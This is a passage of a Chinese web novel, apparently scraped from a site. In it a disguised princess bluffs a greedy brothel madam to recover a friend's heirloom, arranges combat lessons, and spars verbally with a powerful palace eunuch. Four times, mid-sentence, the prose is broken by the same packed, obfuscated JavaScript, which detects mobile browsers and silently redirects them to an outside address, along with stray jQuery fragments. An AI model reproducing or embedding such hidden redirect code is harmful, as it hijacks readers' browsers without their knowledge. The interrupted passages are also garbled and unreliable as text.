毕竟她出身花柳之地的名声也不时会被翻出来说一顿,她早就免疫了。
小柳儿犹豫一会,见赵凉絮很有决心,还是点了点头。
真诚道了一声“谢谢”。
邱澄自外边进来见到的便是这样一场朋友情深的画面。
“赵公主同小柳儿聊的很是开心,我这个先认识你的都要有些羡慕了。”
邱澄一边说笑着一边坐到桌边。
“邱女官莫要叫我赵公主了,显得这样生分,你直接叫我赵凉絮就行——小柳儿也是。”
赵公主这种名存实亡的名字倒是被很多人都这样叫着。
“那我可就不客气了,你也叫我名字就行。”
“好啊。”
赵凉絮一见到邱澄,便想起当日李瑛描述的场面,她好奇问道:“邱澄你竟然是太常寺的外孙女吗,听闻太常寺与礼部侍郎在朝廷上有些争吵,我知道了事情原委便觉得同你有关,原来你也算个京中贵人。”
“可别这样说,我同外祖父确实带着这样的血脉关系,但平日也很少用这样的关系压人的,可莫将我当成一些跋扈的人了。”
邱澄摊手:“不知你是从哪里听到的?我颇有些气不过张长飞那纨绔德行,加之礼部侍郎近些年来的确在其位不谋其政,外祖父听了我这样讲才会在朝廷上有所行为。”
赵凉絮随口说是近日进宫听到的。
邱澄闻此,语气颇有些严肃道:“真是不知道宫中还这样议论朝政了,倒是你,得了陛下赏识,真是叫我好生惊讶。”
虽是这么说,邱澄倒没有多少责怪的意味:“陛下年幼,当初陛下身边的王福便会捧着陛下说,圣上无心但还是容易被影响,你虽说受了陛下喜爱,但也小心点。”
她说话一向没什么转弯,有什么说什么,如今邱澄其实已年近三十,于古代人中算是成熟的家长角色,但她语气却往往刁钻,自带横冲直撞的气质。
倒不像那些肚子里弯弯绕绕的宫中老人。
“自然是知晓的。”
赵凉絮同两人又聊了会,这才得知因着那一场朝廷上的争吵,户部侍郎丢了脸面,回去便将张长飞关了禁闭。
“真是活该。”
竹木在一旁安静听着,听到这消息时愤愤说了一句。
邱澄也十分认同的点了点头。
几人七嘴八舌讲了几句,赵凉絮见天色已晚,便起身告别。
这次赵凉絮和竹木长了记性,从安府顺了辆马车出行,此时便乘着这辆马车
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042323|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回去。
这几日出行安府,赵凉絮已察觉到安府周围同别处的不同。
安府所在街道按理说也都是些有官职或是在宫中当差的人的住所,官员们在京城中也算是数量庞大的群体,想来这种街道应当是人不少才多。
至少赵凉絮应得看到往来的马车和出来采买的人。
但安府这条街道却格外冷清些,尤其是安府左右的邻居。
赵凉絮观察一番才发现,安府左右压根没有人住。
两间宅子空荡荡的,空有个稍显贵重的牌匾。
门口被罚作小厮的罗凡向赵凉絮透露过,两间宅子的确没人住,但具体原因,还是问问安公公最好。
问安公公?
暂做计划吧。
也不知是什么原因,罗凡不肯说。
这事也不算什么要紧事,赵凉絮没再多想便入睡了。
到了第二天,她又同昨天一样,和竹木早早出门去芝兰堂。
小柳儿早在门口等候着。
“凉絮,竹木姑娘也要跟着去吗?”
小柳儿贴心地为竹木考虑,她不知竹木会不会乐意陪同自己去醉花坊,竹木昨日虽没说什么反对的话,但到底还是问一下人家的想法才行。
南周对女子约束颇多,竹木也算良家姑娘,该是要考虑这些的。
竹木点了点头,她也不在乎这些。
这样说定,小柳儿早就叫了一辆普普通通的马车,三个人离了安府那辆有些豪华的马车,显得低调一些。
马车颠簸间,外边喧闹的叫卖声逐渐被琵琶古筝等声音取代。
没有赵凉絮脑海中女子招揽客人的喧闹声,这处花街柳巷倒是显得更清净些。
“此处招待达官贵人,也多有艺伎,于这些所谓的官员面前,花楼的妈妈们也教导着女子要会摆些谱,”小柳儿解释道:“这群人虚伪的很,既要又要。”
小柳儿不愧师从邱澄,说起话来也是足够辛辣。
马车到了醉花坊,几人便下了车。
在门前待客的姑娘们见到马车上下来的是几名年轻的女子,一时之间你看我我看你。
“哎呦,妹妹们是走错地了?这可不是你们该来的地。”
一个一身艳红衫裙的女子站了出来,手指抹着鲜艳的红蔻丹,长指甲衬得葱白纤细的手指更加修长,女子一根手指抚在面颊上,歪着头妩媚调笑:“小姑娘们可不该来这,这是被谁哄骗着来这儿了。”
玉嫣另一只手还提着把绣花团扇,半掩遮面将目光放在小柳儿身上:“咦?你这小姑娘,看着有些面熟?”
小柳儿捏捏手心,给自己打气:“玉嫣姐姐,我是小柳儿,我回来是想寻母亲的东西。”
玉嫣讶然,手指挑起一缕秀发,一边卷着一边凑到小柳儿身边:“诶呀不得了,竟然是小柳儿?原来长这么大了,还记着你玉嫣姐姐呐,倒是不赖。”
“走了便走了,还回来找什么遗物,你这傻丫头,不怕妈妈狠狠敲上你一笔啊。”
玉嫣眉间染上些怒气,似乎有些不争。
“哪还有什么你母亲的东西,都走了那么些年了,快走快走。”
玉嫣手往前扇扇,脸上挂了要赶人的表情。
小柳儿还想说什么,旁边一只手先伸了过来。
26. 贪婪
那只手抓住小柳儿的胳膊,嘿嘿笑道:“醉花坊没见过这号人物啊,玉嫣姑娘给介绍介绍?”
那声音轻佻至极。
赵凉絮循着来人看过去,发现是个脸上长着山羊胡的男子,看着得有四十余岁,正猥琐地笑着。
玉嫣“啪”一声将团扇轻拍到男子手上,自己将手搭在男子胳膊上,嘴里含着埋怨:“大人可别这样,昨个才说要包了我的场,今日见到个小丫头竟然便忘了我不成?”
她不动声色地尝试将男人的手推开,这男人倒是顺从,跟着便移开了手。
只是他不是因为玉嫣的话而移开,他是色胆包天,注意到了赵凉絮。
“嘿,这里还有个更动人的小美人。”
玉嫣见男人又想去勾搭赵凉絮,她将团扇掩在脸上装作难过,嘴角却流出一声极微小的“啧”。
赵凉絮方才被小柳儿挡在身后,玉嫣一时没注意到她,如今见了心里也是烦躁。
这一个两个年轻的姑娘,到醉花坊乱凑热闹干什么。
小柳儿带来的这个姑娘比好些个姐妹们都好看,这不是羊入虎穴吗?
玉嫣拉拽着男人到醉花坊里,对男人说道:“好大人,这三位可都是良人家的女儿,人家今日来醉花坊是有事要办的,大人当心别坏了人家的名声。”
她边朝男人甜言蜜语,边没好气地朝小柳儿几人挤眉弄眼:“不是想找东西吗?还不快找妈妈要去,东西都在我房间,让妈妈领着你们去。”
小柳儿也不想多生事,便直接登上二楼去找醉花坊的老鸨。
“那位玉嫣姑娘,看着人还不错。”
赵凉絮能觉察出玉嫣嘴上弯弯绕绕的,实际上还是在帮着小柳儿。
小柳儿回到醉花坊,还是觉得有些不自在,她回道:“玉嫣姐姐人是难得的好人,当初在这里的时候,玉嫣姐姐也会照顾我些,只是我当年染了病,被妈妈扔了出去,她也无能为力,顶多是留些吃食让我多活几日,但也多亏了她留给我的东西,我才能等到师父。”
赵凉絮看向玉嫣,嘴上说:“她说你母亲的东西在她房中?”
小柳儿也不甚清楚,她其实也不知道自己母亲究竟还有没有东西留着,如今回来也是碰碰运气,顶多再问一问玉嫣,了却一桩心事。
没想到玉嫣的确还保留着些她母亲的东西。
“玉嫣姐姐,同母亲关系也是不错。”
小柳儿低声道。
老鸨这边正从二楼走过,一眼便瞧见了打楼梯上走上来的三人。
“哎呦喂!你们是哪里来的姑娘!”
显然三人不是醉花坊的姑娘们,老鸨被吓了一跳。
怎的还有女子来逛醉花坊了。
老鸨也是眼尖,一下子便瞧见了赵凉絮。
“我的奶奶呦,这是打哪儿来的姑娘!”
赵凉絮容貌是有些偏张扬的,但偏偏她不是什么太活泼的性子,静静站在那,倒是更添了一分反差的气质。
这在花街柳巷里可不常见。
这副样子,若叫她好生调教一番,没准也能出个独一无二的花魁了。
老鸨虽不知赵凉絮从何而来,心里却不自觉盘算上了。
小柳儿向老鸨三言两语解释来意。
老鸨这才发现这个眼熟的姑娘竟是几年前叫她丢出去的小丫头。
“你你你,你还活着呀!”
她揪着帕子的手指着小柳儿,内心满是震惊。
没想到这小丫头不仅没死,还活了下来。
她心思转的快,眼睛滴溜一转,语气就多了分粘腻和热情:“哎呀呀,小柳儿是吧,你还真是个有情分的丫头。”
“还是咱们小柳儿福大命大啊!”
她帕子一甩,扑来一阵香的发腻的风。
“只是啊,妈妈我啊,当年也是不得已那般做,毕竟妈妈还要养着咱们醉花坊好几十号人呢,你可别怪罪妈妈。”
她装作难过不舍,假意摸了摸不存在的泪水,语锋一转。
“可是——小柳儿,本来这么些年,你该是在妈妈手底下做事的,如今你逍遥自在了这些年,妈妈是一点银子都没朝你要啊。”
“你的身契妈妈便当作不知道了,但这些年你该赚的钱,是不是得,添补一下呀?”
她时刻注意着小柳儿的反应,话里的贪婪已经掩饰不住。
至于身契,按理说她当然不会这么大方,无非是她早在当年将重病的小柳儿丢出去的后,小柳儿的身契便一同被扔了。
小柳儿皱眉,她知道老鸨贪,但还是被这副不要脸的样子镇住了。
她心里盘算着自己带的钱够不够,要掏出自己准备着的银子。
赵凉絮按住了她。
她上前一步,和声对老鸨说:“这位妈妈不如先带我们去寻小柳儿母亲的遗物?钱嘛,自然是好说的,咱们小柳儿是被贵人救了的,她既然能活成这样红润活泼的样子,想来便知道贵人待我们小柳儿是很好的,还愁欠着你的钱?”
赵凉絮回头叫了一声竹木,竹木悄悄递给赵凉絮一打银票。
赵凉絮手指夹着拿着银票在老鸨面前略过,在老鸨想伸手拿走时又手快收回了袖子里。
“妈妈瞧吧,将事情利索办好了,小柳儿那些钱算什么,本宫......我的银票才算是贵重的。”
这是赵凉絮第一次自称本宫,还是她“不小心”顺嘴说出来的。
本宫二字,自然是太子、公主和妃嫔的自称。
安和清算了许多皇子,但是还有好些个长公主活得好好的。
且不管一个皇家的“长公主”怎么微服来了烟花柳巷,赵凉絮这一顿操作,再刻意摆出个挑着下巴的蔑视样,这目中无人的样子还真是将老鸨唬住了七八分。
“妈妈该懂事吧?”
赵凉絮青袖半掩面,朝老鸨示意。
“哎呦哎呦,自然自然,几位朝这边来~”
老鸨扭着腰肢,边摇头晃脑边捧场:“想不到咱们小柳儿福气这么大,妈妈我也是把心放肚子里了。”
她有些小心地试探赵凉絮:“不知这位,该怎么称呼呀?”
赵凉絮唇角勾起,吐出一句:“告诉妈妈也无妨,但妈妈能命硬到知道我的称呼吗?”
老鸨的笑容一下子僵住了,她忙摆手:“嗨呀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042324|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我就是随口一问,姑娘别放在心上。”
小柳儿望着赵凉絮从容地吓唬老鸨,有些失语。
她落到后边悄声问竹木:“凉絮她平时也这样吗?”
竹木更是深呼吸:“公主她,确实是、嗯,比较......比较厉害的。”
她看着赵凉絮现在自得模样,一时之间也讲不出口赵凉絮平时的性子如何。
赵凉絮等人随老鸨进了玉嫣的房间,玉嫣还在下边招待着,一时回不了房间。
老鸨对玉嫣房间很是熟悉,旁若无人地走到玉嫣的梳妆柜,自柜脚下的箱子里拿出一个双手可捧着的木制匣子。
“玉嫣这丫头,如今虽做了花魁,可妈妈到底是妈妈,她这房间里的要紧物件没几个,做妈妈的可是都知道的。”
她说这话颇有些自傲。
“瞧吧,只有这匣子她宝贝得紧,必然是柳絮留下的东西了。”
小柳儿有些郑重地接了过来。
还没等小柳儿的情绪酝酿几何,老鸨眼睛左右转动,长着些皱纹的手便伸了出来。
“瞧着小柳儿这么难过,快些将银子给了妈妈,我也好让你们早些回去再好生倾诉啊。”
小柳儿生生被打断了情绪,一贯的好脾气都生了几分怒。
赵凉絮站了出来,将自己那一打银票塞到了老鸨手上,佯装发怒:“你这妈妈好不会看气氛!”
老鸨被一震,正打算清点银票的手都停了下来。
没等老鸨说话,赵凉絮继续说:“原想着你是个聪明人,可你这番做派却是让我忍好久了,真是一刻都待不下去了!”说罢拉着小柳儿和竹木匆匆下了楼。
玉嫣此时刚从男人身边脱身片刻,瞧到三人走得这么急,不免有些惊讶。
“拿到东西了?妈妈竟然这么好说话?”
赵凉絮朝她嘘了一声,上挑的眉眼此时有些弯:“给的钱不是很多,只怕一会儿她就生气了。”
玉嫣虽不知几人做了什么,但听到这话也心中有些了然:“几个小丫头本事倒大,拿到东西便行。”
“去去去,赶紧走吧,以后别再来醉花坊了。”
见小柳儿还想说话叙叙旧,她便扇着扇子赶几人走。
出门时,两个身形颇高的男人正往醉花坊里走,赵凉絮脚步忽然顿住,有些迟疑地回头。
那两个人也注意到门口的姑娘们,直朝门口看。
小柳儿察觉,因两人看着并不面善,便摆出警惕防御的动作。
玉嫣正巧挡住了两人的视线,张开手臂笼着三人往外走。
“瞧什么瞧什么,你还认识呀?认识的人也当作不认识算了,赶紧走了。”
玉嫣将三人送到马车旁,掏出帕子点走额头上冒出的油气。
她翘着纤柔的手指将小柳儿额头往后轻轻一推:“你这小丫头,胆子也是大,非要回醉花坊一遭,你若叫人通知我一声,我又不会将你母亲的东西藏着掖着不给你。”
“唉,你们几个蠢丫头,以后别来了啊。”
她没多说什么煽情叙旧的话,只随口嘱咐两句便准备扭身离开。
小柳儿叫住了她。
27. 劳累
她轻声对玉嫣说了一句:“玉嫣姐姐等着我,我日后来赎你。”
玉嫣轻曼的背影停住了,心中不知想些什么。
良久她才侧身抛了个轻佻的媚眼:“你这丫头,那姐姐以后便等你来赎吧,日子也算有个盼头呀。”
她当是小柳儿一句大话,“咯咯”笑着便离开了。
三人跳上了一直等待着的马车。
马车离开时,赵凉絮似乎听到醉花坊里老鸨不可思议地喊叫。
“凉絮,那叠银票到底多少钱啊?”
小柳儿显然也听到声音,忍不住问,然后掰着手指数自己带的银子说道:“我准备了银票和银子,统共五百两。我估量着老鸨贪财,可能朝我要赎身的钱,我当年也不算什么名声大的姑娘,普通姑娘必然比不得名妓赎身钱贵,我这些年攒下来也就这么多钱,兴许三百两大约够堵上老鸨的嘴。”
赵凉絮带着微不可查的笑意说:“我那打银票加起来也不过一百两。”
“我和竹木出门都是拿的最小的银票,正巧在她面前唬了一番,只怕她还当是一张张几百两的票子呢。”
赵凉絮拍了拍她,淡色瞳孔流露出认真:“芝兰堂不像是能赚多少钱的地方,那些钱里恐怕还有邱澄补贴你的吧,我替你出了,也正好帮你省下来,你可以将钱用到更合适的地方。”
小柳儿哪里肯,掏出银子要还。
“一百两也很多了!”
赵凉絮回绝了小柳儿。
她撩起帘子,看着外边的景色道:“你也说了,对于普通人来说,一百两够一家人几年的生活,你攒下钱来也不容易,何不自己留着呢?我的钱是陛下赏的,我平日里也花不完,能帮到你就是它最好的去处,不是吗?”
小柳儿还有话想讲,赵凉絮继续道:“而且你师父替我拿了新药材却没收我钱,就当是我付了药钱如何?”
“那怎么行!药钱抵不上那么贵!”
赵凉絮无奈看她,忽然想起醉花坊门口遇见的两人,她提了兴趣问:“当时那两人看着凶恶,你一身姿势摆的很正经,你是会些拳脚吗?”
小柳儿不知赵凉絮忽然问这做什么,但还是点了点头:“是师父请了人来教我的,让我学着防身用,其实我学的不太行,也就看着像回事,想来是人人口中的绣花枕头罢了。”
她说完又脑袋清醒地将话题拉回去:“不要转移话题!我必须得将钱还给你的!”
“并非转移话题,我想着你来教我防身的本领,或是替我找个厉害人来教教我呢?这便当做是你换了我钱。”赵凉絮周到地建议。
“学上些防身的功夫对我来说可比那一百两值钱多了。”
听了这话,小柳儿有些被说服了。
她赞同点了点头,犹豫片刻回道:“我自己是教不了你什么了,我回去一定替你寻个厉害的师傅,绝不亏了你那一百两!”
她信誓旦旦地朝赵凉絮承诺。
赵凉絮自然不会拒绝。
“那就先谢过小柳儿了。”
接下来的一个月,赵凉絮过上了格外安生的日子。
每天闲来无事带着竹木去街上溜达,或是去芝兰堂同小柳儿和邱澄聊天,日子好不惬意。
小柳儿本想将自己的师傅引荐给赵凉絮,但细问了邱澄才知道,老师傅临近年底,早早便回老家准备过年去了。
小柳儿呆呆地露出无奈表情:“我倒是忘了这茬,教武的老师傅出身于镖局,平日里在京城倒是没什么事,但他年纪渐大,也不太拼命,如今过年自然是回家见妻儿了。”
邱澄也早就从小柳儿口中得知赵凉絮花了一百两银子的事,她也颇为认同小柳儿的做法,因此她也跟着帮忙寻好师傅。
赵凉絮也不太着急,反正她也得养好身体才能将练武的事情提上日程。
她照例每隔八九天便让邱澄诊断上一回,邱澄时时刻刻跟进着赵凉絮身体的状况。
邱澄将按在赵凉絮脉搏上的手收回,捻起旁边几片薄荷叶往嘴里送,她嚼着薄荷,感觉脑子清爽了不少。
“看来你是有好好服药的。”
邱澄颇为满意赵凉絮这个听话的病人。
“如今你的身体已经好了不少,脉搏听着也有力了许多,这几日想来也没有同以前那么嗜睡了?”
赵凉絮自己觉得身体也好了许多,虽然还是比常人更多睡,但总归不像起初那样大半日都显得昏沉,精神怏怏的。
邱澄瞧着赵凉絮有些轻松的神情,先泼了冷水:“你先收住,虽说是好了许多,但不代表着你的身子是健康的,药还得继续吃,我再另给你开一服更温和的药,这药你至少要喝到来年开春。”
她边思索着,边写下新的药方,又顺手拿了一片薄荷叶。
“还有药膏,我也换了更温和的配方,这也要时刻用着,别嫌麻烦。”
她嘱咐着赵凉絮,将新制的药膏放到赵凉絮手中。
赵凉絮收了药膏道谢,注意到邱澄眼下乌黑,特地问了一句:“你这是这几天太忙,我瞧你睡得不太好,还一直吃薄荷叶提神?”
邱澄闻言,揉着额角回道:“这几日是有些忙,这眼着入了寒冬要过年了,年前也是忙的很,身体忙的冒了虚汗搁风一吹便容易生病,宫中好些人染了或大或小的风寒,宫人们请不起太医,自然来寻我看看身体。”
“邱女官还真是宫中最善良最和蔼的女官了。”
赵凉絮开玩笑奉承一句,邱澄便因这话不自在地抖了抖身体。
她起身去清点墙面上的药材,说道:“可别打趣我了,宫里人大多说我不懂变通呢。”
邱澄低头记着药材,忽然想起什么,又放下药材朝着赵凉絮说:“先前你不是说要学些防身的功夫?我这里倒是有个合适的人选,只是不知道你是否乐意。”
赵凉絮来了兴趣,作出洗耳恭听的样子。
“他是外祖父看好的年轻人,如今二十又六便做了副将,身手极佳,人也沉稳,想来不会和外边的人那般对你有什么偏见。只是......”
邱澄少有的犹豫,她斟酌着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042325|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说道:“这人唯一的不足之处便是,他叫陆轩,是周锋手底下的副将,想来你对周锋没什么好印象,也不知你是否见过陆轩。”
她记着坊间的流言,也真切知道赵凉絮是经由谁手入了安府,周锋将赵凉絮视作个物件送予安和,想来赵凉絮对周锋身边的人应当有些嫌隙。
赵凉絮听到周锋的名字眉头一跳,她可没忘记刚穿越来时这个所谓的大将军的做派。
至于这个副将,若是她没记错的话,当日先下马来查看她的应当就是周锋旁边的将士,兴许那人就是陆轩?
这样的话,他确实是难得一个没有随周锋嘲笑她的人,如此性格能入邱澄外祖父的眼也是合理的。
“我兴许认识,或许可以见一见?只是不知他愿意否?”
邱澄见赵凉絮没有太大反对,便笑了回应:“自然是先问过他的,也是他同我家颇有渊源才想到了请他来教,单论本领来讲,他也算是个极佳的人选。”
两人谈到这,外边忽然传来一阵乱哄哄的声音,马蹄声停在了芝兰堂门外。
赵凉絮朝门外探去,迎面便走来张盛。
“张公公?”
邱澄疑惑,问出了声:“张公公没在宫里当差,来宫外作甚?”
她虽为宫中女官,但也是有休假的,这几日太忙,她得了空才告假出来,如今张公公却来了芝兰堂。
张盛发现赵凉絮竟然也在芝兰堂,惊讶一瞬,但还是先急着招呼邱澄:“实在是打扰邱女官休假,但宫中太妃娘娘近日着了凉,咳疾愈发严重,其余太医们也没什么立刻见效的法子,您也知道,干爹他敬着太妃娘娘,如今娘娘身体不适干爹也是心急,咱们不得不来寻您。”
邱澄皱眉,收拾着医箱纠正道:“太医院也有比我医术还高的太医,难不成他们没有好办法,我便有了?罢了罢了,既然是太妃娘娘,我便回一趟宫。”
话语间她已经收拾好医箱,拎起便走。
张盛也知晓邱澄的性子,嘴上不留情但实际医德让人信服的很。
他领着邱澄出门,侧眼瞧见赵凉絮一时不知如何是好。
赵凉絮直接开口道:“太妃娘娘待我很好,如今她生了病,我岂有不去看她的道理?”
张盛也没什么拒绝的理由,且赵凉絮还有自由出入宫的牙牌,就算是他拒绝了,赵凉絮想进宫还是能进宫。
因此他没多说什么,只是弓了身子作出请的动作。
竹木是一直跟着赵凉絮的,她素日都安静地呆在旁边不常说话,但也在芝兰堂处的很好。
如今赵凉絮要进宫,她不知自己是不是该呆在芝兰堂。
赵凉絮自然地招呼竹木:“站着干什么,咱们进宫去呀。”
时隔几年,竹木便这样随着赵凉絮几人再次进了宫。
赵凉絮随着张盛赶到太妃娘娘宫中时,尚未进殿便先传出安和阴恻恻的沙哑声音。
“太医院都是干什么吃的,连娘娘的病都看不出个名堂?是瞧着陛下年幼管不着你们,你们开始找死了?”
28. 果然
还是熟悉的毫不留情的语气。
赵凉絮走进去时,太妃的寝宫里跪了三四个太医打扮的人,皆是战战兢兢地挨着安和的骂。
她这一个月同安和相处的时间不多,这一个月间她抽了几天时间进宫同太妃聊天,或是陪同李瑛学习。
安和不知在忙些什么,最近总宿在宫里,以至于赵凉絮如今见了他倒显得有些生疏。
她还未捋明白那天的悸动算不算得喜欢,如今见了安和倒是生出一点不自在。
因而她进了宫殿便没去刻意瞧安和,只凑近了太妃关心她的病情。
安和冷着眼,盯着邱澄的动作。
余光却不自觉粘到赵凉絮身上。
赵凉絮压根不往他这里看。
他内心冷哼,他本就因这些庸医心情不佳,如今对赵凉絮若有若无的疏远更是添了一丝怒气。
短短一个月,见了外边的人,便不想着同他虚与委蛇了。
殿内跪着一排蓄花白胡子的老头,一个个都是太医院资历丰富的老太医,安和站在一旁,周身缠绕着压抑的气氛,让人觉得下一秒他便要杀人。
太妃的寝殿自然是温暖的,但有了安和在一旁盯着,气氛显得格外的冰冷。
许华月掩住嘴咳嗽,也无奈于安和这番架势。
她望着安和这个倨傲阴沉的做派,咳疾不光没好,只觉得头都开始隐隐作痛。
邱澄验了太妃的脉搏,另外又仔细检查了太妃的喉咙,思量片刻便对安和说:“安公公,太妃娘娘的咳疾是老毛病了,寒日里最易复发,这几位老前辈的诊断没什么大碍,我来诊断也是一样的结果。”
安和叫来邱澄自然不是为了听这样没用的废话的,他脸上不含一点笑意:“哦?邱女官这意思是说,你也同这几个庸医一般,难以缓解娘娘的咳疾?”
赵凉絮抬眼看向他。
到底是有过好些天的相处,赵凉絮自然能察觉出来安和语气里的不满。
和隐约的恶意。
“自然不是,娘娘咳疾一发作便痒痛难耐,止不住地咳,虽说难以根治,但还是能用药缓解的。”邱澄压低声音谨慎回道,“想来老前辈们行医一生见惯了大病小病,受生老病死影响,行事小心谨慎了些也是正常,娘娘咳疾并非没有药可以缓解,只是这药性子太猛,需得严格挑选其他药材中和药性才是。”
邱澄在宫中的脾气秉性是独一份,但不代表着她莽撞,眼见着安和一脸阴沉,她自然也会斟酌着字句回答。
这倒叫赵凉絮松了口气。
邱澄将所需药材写下一份,递给安和瞧,又让其他几个太医看了一番,得了一个无误的回答。
安和这才稍稍缓了神色。
听平日里宫人的闲语,他自然知道邱澄行医的品行,许华月也提过一两次邱澄的名声,有了这样的前提,他还是愿意多相信邱澄两分。
如今他虽然还是一副阴沉表情,但情绪已好了一些。
安和挥手让其余几个太医离开,又差人去牢牢盯着熬药。
许华月这时出声:“安公公念及着我,自然是好的,但也别太逼紧了宫人,到底在一起做事。”
安和动了动嘴唇,脸上阴郁散了一些,但语气还是生硬:“娘娘这话说的,咱家实在是担心娘娘身子,手底下奴才伺候不当,该罚的时候便得罚,太医若是难以司其职,也合该受着。”
“娘娘性子温和,才容易叫奴才贪懒,伺候不周让娘娘受了凉,咱家知道了,必得好生调教这些不长脑子的奴才。”
许华月自知改变不了安和什么,叹了口气,喉间痒意上来,又低头忍不住咳嗽。
像是要咳进肺里。
安和又稍松下语气劝道:“娘娘惯着手下的便惯着吧,但实在该注意身子。”
他又换了语气将净淑和小清等人叫出来,斥责她们一番,冷冷叮嘱她们好生照看太妃才作罢。
离开之际,他不忘将一旁沉默寡言的赵凉絮带上。
“赵凉絮,出来。”
赵凉絮听见安和渗着阴森的声音,悄悄斜了个白眼。
她让竹木呆在太妃宫里,自己跟了出去。
安和走在前边不曾说话,赵凉絮一时也没有说话的欲望。
她现下实在不知道说些什么。
赵凉絮向前望去,只能看见安和瘦高的背影。
古代的大多数人因营养不足,必定是比现代人稍矮上几分的,赵凉絮吃了北周民族的利处,身高已算是极为出挑。
而兴许是安和自少时便成了太监的缘故,他比旁人更多生长了几年,如今这般对比,安和这人挺直了背脊,竟还是要比她高上约莫三指的。
他今日穿了墨色为底的蟒袍,银绣的蟒爬在衣角,随着安和的动作,也仿佛是要活起来似的。
赵凉絮偏盯着安和身上那舞动的衣蟒默默走着。
安和察觉赵凉絮不打算言语,心中更是添了几分堵。
果然是多见了人,便没有心思同他周旋了。
他率先开了口。
“赵公主这一月过得实在舒坦,整日在京城里招猫逗狗,难不成是忘了咱家交给你的事了吗?”
赵凉絮回神,觉着安和这个太监脾气怪得不讲道理。
“安公公,不是你叫我多在京城走动?我每日兢兢业业出门,还成了我的不是?”
赵凉絮嘴上不甘示弱。
“咱家叫你走动,不是让你每天便固定去那几个地方,芝兰堂、书肆和茶楼,便是书肆和茶楼你还只盯着一家去,咱家还没问你脑子里想的都是些什么。”
“安公公对我的行踪如此了解?”
安和嗤笑一声,站定回身道:“你说呢?”
赵凉絮想着安和必定是会派人跟着她的,绝不会放心让她在京城闲逛,见了什么人去了什么地方安和的确是了如指掌。
但她装作什么也不知道的样子,指尖抚着下颌细细思索道:“原来安公公这般不放心我,安公公是监视我,还是——”
她脸上带着疑惑:“还是关心我?”
安和断然想不到赵凉絮能说出这样的话来。
她也太过自信。
是何人给她的底气和勇气这样说?
他怎么可能是因为关心她?
她是真不懂还是又在装?
赵凉絮见安和脸上无语,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046855|178833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仿佛还有些被污蔑了的恼怒,继续头头是道:“安公公这些天不知在宫里头忙些什么,我很少见着安公公,虽说我是替安公公在京城里头钓鱼,但我好歹也颇有用处不是?派个人关注我也是应该的?”
赵凉絮这一番话倒像是给安和做了解释。
安和本被赵凉絮一番胡言乱说扰的忘了接下来要说什么,又听了后边赵凉絮像是找补的一段话,倒是让他彻底没了从太妃宫里出来时带着的戾气。
如今他满心的惊哧和无语都是对着赵凉絮。
“胡言乱语,想来是心野了,都是从外头学来的野路子?”
安和讥嘲一声,想用这句话来掩盖掉刚刚未持住的情绪。
赵凉絮又跟没事人儿一样,提起了自己近日的状况:“安公公说的这叫什么话,安公公都说了我这一月也不过是去书肆、茶楼和医馆,哪有什么学坏的地方呢。”
她不经意间又和安和并排着走了。
她就是想知道,自己是否真的对这个太监有什么所谓的喜欢。
他俩之间的交流,最激烈不过让对方体验了一把濒死的感受罢了。
与其说是喜欢,难道不该更应该发展成仇敌才对吗?
更别提这个权倾朝野的九千岁不止一次想让自己死。
现在的赵凉絮知道自己并不排斥与对方的肢体接触,这证实她至少不讨厌他。
这真是怪了。
她往斜前方走着,这样使得她和安和的距离越来越近。
安和还未察觉:“是呀,也不过是这几个地方,若按这样,想来是你再待上十年,你也碰不见可疑的人。”
“那安公公的意思是,我该去些不安定的地方,诸如赌场、青楼?”
听见这两个地方,他的眉头绞在一起:“我什么时候说过让你去这种地方?”
这种地方这么危险,她怎么能去?
这个念头就这样从他心底冒了出来,自己竟然会担心她的安危?
还没等安和再有更多的思考,他便被胳膊上的触感弄的一滞。
赵凉絮不光是并排着和他走了,她越走越近,近到自己的胳膊都贴上了安和的胳膊。
“你......!”
赵凉絮“嗯?”了一声,像是不知道自己在做什么。
